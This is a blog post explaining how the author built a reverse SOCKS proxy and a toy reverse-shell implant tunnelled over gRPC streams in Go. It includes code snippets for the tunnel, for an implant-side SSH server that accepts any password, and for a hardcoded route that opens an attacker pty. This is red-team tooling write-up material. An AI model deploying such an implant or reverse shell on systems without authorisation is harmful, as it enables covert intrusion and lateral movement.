# tl;dr
I've recently wrapped my head around painlessly implementing Chisel-like reverse SOCKS over gRPC. The PoC implementation is available at https://github.com/zimnyaa/grpc-ssh-socks and a toy reverse shell PoC with an embedded socks proxy is at https://github.com/zimnyaa/grpcssh
> **update:** grpcssh has recently been updated to support proper concurrent connections
Here it is coming together:
![[Pasted image 20230926160947.png]]
# grpc-ssh-socks mechanism
There are a number of ways to implement reverse socks proxies. With gRPC-based implants, specifically, the most useful feature is the gRPC bi-directional streams. When defining a simple protobuf message containing of only a byte array, this is essentially just a pipe:
```protobuf
syntax = "proto3";
package grpctun;
option go_package = "./grpctun";
service TunnelService {
rpc Tunnel(stream TunnelData) returns (stream TunnelData);
}
message TunnelData {
bytes data = 1;
}
```
Considering that `net.Conn` is a simple interface to implement, we can upgrade our gRPC stream to a full-on network connection:
**grpcconn.go:**
```go
type SendRecvGRPC interface {
Send(m *grpctun.TunnelData) error
Recv() (*grpctun.TunnelData, error)
}
type GrpcConn struct {
stream SendRecvGRPC
rbuf *bytes.Buffer
wbuf *bytes.Buffer
mu sync.Mutex
}
func NewGrpcServerConn(stream grpctun.TunnelService_TunnelServer) *GrpcConn {
return &GrpcConn{
stream: stream,
rbuf: &bytes.Buffer{},
wbuf: &bytes.Buffer{},
}
}
func NewGrpcClientConn(stream grpctun.TunnelService_TunnelClient) *GrpcConn {
return &GrpcConn{
stream: stream,
rbuf: &bytes.Buffer{},
wbuf: &bytes.Buffer{},
}
}
func (c *GrpcConn) Read(b []byte) (n int, err error) {
for c.rbuf.Len() == 0 {
in, err := c.stream.Recv()
if err != nil {
return 0, err
}
c.rbuf.Write([]byte(in.GetData()))
}
return c.rbuf.Read(b)
}
func (c *GrpcConn) Write(b []byte) (n int, err error) {
c.mu.Lock()
defer c.mu.Unlock()
c.wbuf.Write(b)
if err := c.flush(); err != nil {
return 0, err
}
return len(b), nil
}
func (c *GrpcConn) flush() error {
if err := c.stream.Send(&grpctun.TunnelData{Data: c.wbuf.Bytes()}); err != nil {
return err
}
c.wbuf.Reset()
return nil
}
// .. snip ..
```
The question now is how we can use that now with off-the-shelf libraries to achieve proxying. I've opted to go the same way as Chisel does and spin up an SSH connection, with the gRPC client acting as a SSH server.
**client.go:**
```go
client := grpctun.NewTunnelServiceClient(grpcconn)
stream, err := client.Tunnel(context.Background())
if err != nil {
log.Fatalf("Failed to open stream: %v", err)
}
nConn := share.NewGrpcClientConn(stream)
config := &ssh.ServerConfig{
PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) {
return nil, nil
},
}
// .. snip ..
sshConn, chans, reqs, err := ssh.NewServerConn(nConn, config)
```
**server.go:**
```go
socksconn := share.NewGrpcServerConn(stream)
sshConf := &ssh.ClientConfig{
User: "root",
Auth: []ssh.AuthMethod{ssh.Password("asdf")},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
c, chans, reqs, err := ssh.NewClientConn(socksconn, "255.255.255.255", sshConf)
if err != nil {
fmt.Println("%v", err)
return err
}
sshConn := ssh.NewClient(c, chans, reqs)
```
After that, a simple handler only works with `direct-tcpip` channels on the gRPC client side and forwards data:
**client.go**
```go
for newChannel := range chans {
fmt.Println("new channel")
if newChannel.ChannelType() != "direct-tcpip" {
newChannel.Reject(ssh.UnknownChannelType, "unknown channel type")
continue
}
fmt.Println("new direct-tcpip channel")
channel, chreqs, _ := newChannel.Accept()
go ssh.DiscardRequests(chreqs)
var dReq struct {
DestAddr string
DestPort uint32
}
ssh.Unmarshal(newChannel.ExtraData(), &dReq)
dest := fmt.Sprintf("%s:%d", dReq.DestAddr, dReq.DestPort)
conn, _ := net.Dial("tcp", dest)
go func() {
defer channel.Close()
defer conn.Close()
io.Copy(channel, conn)
}()
go func() {
defer channel.Close()
defer conn.Close()
io.Copy(conn, channel)
}()
}
```
Finally, to spin up a workable SOCKS5 proxy, the ssh connection's `Dial` function is used for `go-socks5`:
**server.go**
```go
conf := &socks5.Config{
Dial: func(ctx context.Context, network, addr string) (net.Conn, error) {
return sshConn.Dial(network, addr)
},
}
serverSocks, err := socks5.New(conf)
if err != nil {
fmt.Println(err)
return err
}
port := findUnusedPort(1080)
log.Printf("creating a socks server@%d\n", port)
if err := serverSocks.ListenAndServe("tcp", fmt.Sprintf("127.0.0.1:%d", port)); err != nil {
log.Fatalf("failed to create socks5 server%v\n", err)
}
```
Thus, the full process is like this:
```j
the client requests a tunnel ->
the client binds a ssh server to tunnel ->
the server connects to ssh server via the tunnel ->
the socks proxy is started over the ssh connection
```
# grpcssh
To add command execution to the toy implant, essentially the client creates a second ssh server (stolen from https://gist.github.com/jpillora/b480fde82bff51a06238), bound to a unix socket:
**client.go:**
```go
var conn net.Conn
if dReq.DestAddr == "1.1.1.1" {
conn, _ = net.Dial("unix", "/tmp/grpcssh")
} else {
conn, _ = net.Dial("tcp", dest)
}
```
The handler function is then modified to create a unix socket connection instead of a network connection for a hardcoded IP address (`1.1.1.1` in this case). This allows `ssh` on the attacker's side to transparently connect to an ephemeral SSH server. Full pty is supported, making for a viable reverse shell with an added option of a full-on socks proxy.